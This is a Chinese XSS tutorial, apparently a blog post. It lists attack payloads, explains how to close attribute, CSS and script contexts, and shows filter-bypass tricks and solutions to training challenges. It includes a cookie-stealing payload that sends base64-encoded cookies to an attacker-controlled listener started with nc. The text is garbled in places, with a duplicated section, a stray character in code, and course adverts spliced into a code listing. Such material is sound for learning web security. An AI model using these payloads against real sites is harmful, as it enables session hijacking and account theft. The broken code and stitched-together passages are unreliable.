既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
DOM的规定如下:
• 整个文档是一个文档节点
• 每个HTML标签是一个元素节点
• 包含在HTML元素中的文本是文本节点
• 每一个HTML属性是一个属性节点
• 节点与节点之间都有等级关系
传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。
DOM XSS取决于输出位置,并不取决于输出环境,因此也可以说DOM XSS既有可能是反射型的,也有可能是存储型的,简单去理解就是因为他输出点在DOM。
攻击者将恶意脚本注入到页面的 DOM (文档对象模型)中,当用户交互操作触发脚本执行时,脚本会执行恶意操作
二、HTML对象/标签对应的事件
允许JavaScript在HTML文档元素中注册不同事件的处理程序,事件通常于函数结合使用,函数不会在事件发送前执行。
1、鼠标事件
2、框架/对象(Frame/Object)事件
三、XSS常见Payload
1.简单的弹窗告警
<script>alert("xss");</script>
2.获取cookie
<script>alert(document.cookie);</script>
3.其他标签
<a href=javascript:alert(111)>
<body onload=alert("xss")>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
4.嵌入其他网站链接
<iframe src=http://www.baidu.com width=0 height=0></iframe>
XSS输入HTML代码段,如使网页不停刷新
<meta http-equiv="refresh" content="0";>
5.注释符
5.1.HTML注释符
<!-- *** --> 或者 <!-- *** --!>
5.2.JavaScript/PHP注释符
单行注释://
多行注释:/* *** */
四、XSS漏洞测试流程
1.测试流程
- 在目标上找输入点,比如查询接口、留言板
- 输入一组“特殊字符(>, ',")等+唯一识别字符”,点击提交,查看返回源码,看后端返回的数据(输出点)是否有处理(过滤、转义等)
- 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行JS的条件(构造闭合\构造payload)目的是让输入的数据(从属性或标签当中逃逸出来)变成代码来执行
- 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
XSS漏洞的防御原则:输入做过滤、输出做转义
2.输出点位置的不同,闭合方式不同
2.1.输出在HTML属性中
<input name="user" value="{your input}"/>
- 闭合html属性,插入新的属性
<input name="user" value="" onclick="alert<'xss'>"/>
- 闭合input标签,插入新的script标签
<input name="user" value="" ><script>alert(1);</script>"/>
2.2.输出在CSS代码中
<style type="text/css">
Body{
color:{your input}
}
</style>
- 闭合css代码中的属性,插入新的属性
<style type="text/css">
Body{
color:#000;backgroud-image:url('javascript:alert(1)');
}
</style>
2.3.输出在JavsScript中
<script>
var name=‘{your input}’
</script>
- 闭合javasript代码,插入攻击代码
<script>
var name=''+alert(1)+'';
</script>
六、xss获取cookie
1.常用函数
document.write()
document.cookie
2.常用payload
<script>
document.write(
'<img src="http://127.0.0.1:8000/'+
document.cookie+
'"/>'
);
</script>
3.将cookie反馈给攻击者
DVMA:XSS存储型
<script>
document.write(
'<img src="http://127.0.0.1:8099/?'+
btoa(document.cookie) +
'" >'
);
</script>
备注:atob-base64解码
btoa-base64编码
攻击机启动nc 监听,即可窃取其他用户的cookie
七、XSS防护和绕过方法
1.XSS防护
特定标签过滤
事件过滤
敏感关键字过滤
2.XSS绕过
2.1.特定标签过滤
script和iframe等危险标签过滤
1)采用插入过滤范围外的标签(例如html新加入的<source οnerrοr="alert(1)"s>)
2)如果输出点在HTML标签属性中或JS代码中,只需简单闭合、拼接属性或JS代码即可,无需引入新标签。
2.2.事件过滤
2.3.敏感关键字(字符)过滤
针对敏感变量或函数进行过滤,如cookie,eval,alert等,针对敏感符号过滤,如括号、空格、小数点等
通过字符串拼接、编码解码等方式进行绕过
- 字符串拼接与混淆
Window['alert']('xss')
Window['al'+'ert']('xss')
window[atob("YWxl"+"cnQ=")]('xss')
- 编码解码
a)HTML进制编码:以&开头,以分号结尾
命令实体:<这个符号的编码是<
字符编码:<这个符号的编码是<或<
b)CSS进制编码:兼容html,十进制或十六进制
c)JS进制编码:e这个字符八进制\145;十六进制\x65或\u0065
d)url编码:%61
e)JSFuck编码:以6个!+字符来编写js脚本
编码工具:http://evilcos.me/lab/xssee - Location.*
window.name
- with关键字:在JS中可以使用with关键字设置变量的作用域,利用此特性可以绕过对小数点的过滤
如:With(document)alert(cookie);
- 过滤“()”
在js中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对这对小括号的过滤,如:window.onerror=alert; throw 1;
或使用反括号代替,如<script>alert
1</script>
八、XSS训练
1.
1.1.源代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
1.2.破解思路
闭合textarea标签即可
</textarea><script>alert(1);</script><textarea>
2.input
2.1.源代码
function render (input) {
return '<input type="name" value="' + input + '">'
}
2.2.破解思路
●利用"> 提前闭合input
"><script>alert(1);</script>
●使用input 事件参数,先闭合value="
input 事件参数包含如下函数:
onclick,onmouseover
" onmouseover="alert(1) 或者" onclick="alert(1)
3.过滤()和-stripBracketsRe = /[()]/g
3.1.源代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则表达式匹配替换来过滤()
3.2.破解思路
利用``(反引号)代替()
<script>alert`1`;</script>
4.过滤()和-stripBracketsRe = /[(`)]/g
4.1.源代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则表达式匹配替换来过滤()和`
4.2.破解思路
使用将括号进行编码(只有输入的内容(需要编码的内容)在标签内时才可以使用),如下
<input onmouseover="alert(1)"><!--将()unicode编码为()-->
5.注释符–>
5.1.源代码
function render (input) {
input = input.replace(/-->/g, '😂')s
return '<!-- ' + input + ' -->'
}
正则表达式匹配替换来过滤–>
5.2.破解思路
注释符还可以用
--!><script>alert(1);</script><!--
6.任意字符 . 的匹配过滤
6.1.源代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
6.2.破解思路
任意字符 . 不能匹配换行符,将js代码用换行符分开
onclick
="alert(1)"
7.</?[^>]+匹配过滤(标签过滤)
7.1.源代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
7.2.破解思路
使用不完整标签
<body onload="alert(1)";
8.标签强匹配过滤
8.1.源代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
8.2.破解思路
的>前增加空格来避免强匹配
</style ><script>alert(1);</script>
9.网址链接引入
9.1.源代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
9.2.破解思路
网址引入失败,使用onerror参数
https://www.segmentfault.com" onerror="alert(1);
10.网站
10.1.源代码
function render (input) {
![img](https://img-blog.csdnimg.cn/img_convert/a7ae809ffb85ec9fbfc5aab457def2db.png)
![img](https://img-blog.csdnimg.cn/img_convert/4672d6191c56698fe8f258bd32b72164.png)
![img](https://img-blog.csdnimg.cn/img_convert/a5172534aa5af89c143e23090fcdb443.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618608311)**
(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
9.2.破解思路
网址引入失败,使用onerror参数
https://www.segmentfault.com" onerror="alert(1);
10.网站
10.1.源代码
function render (input) {
[外链图片转存中...(img-oH3EPVjG-1715011596119)]
[外链图片转存中...(img-M4RF9lk9-1715011596120)]
[外链图片转存中...(img-qDnySGB3-1715011596120)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618608311)**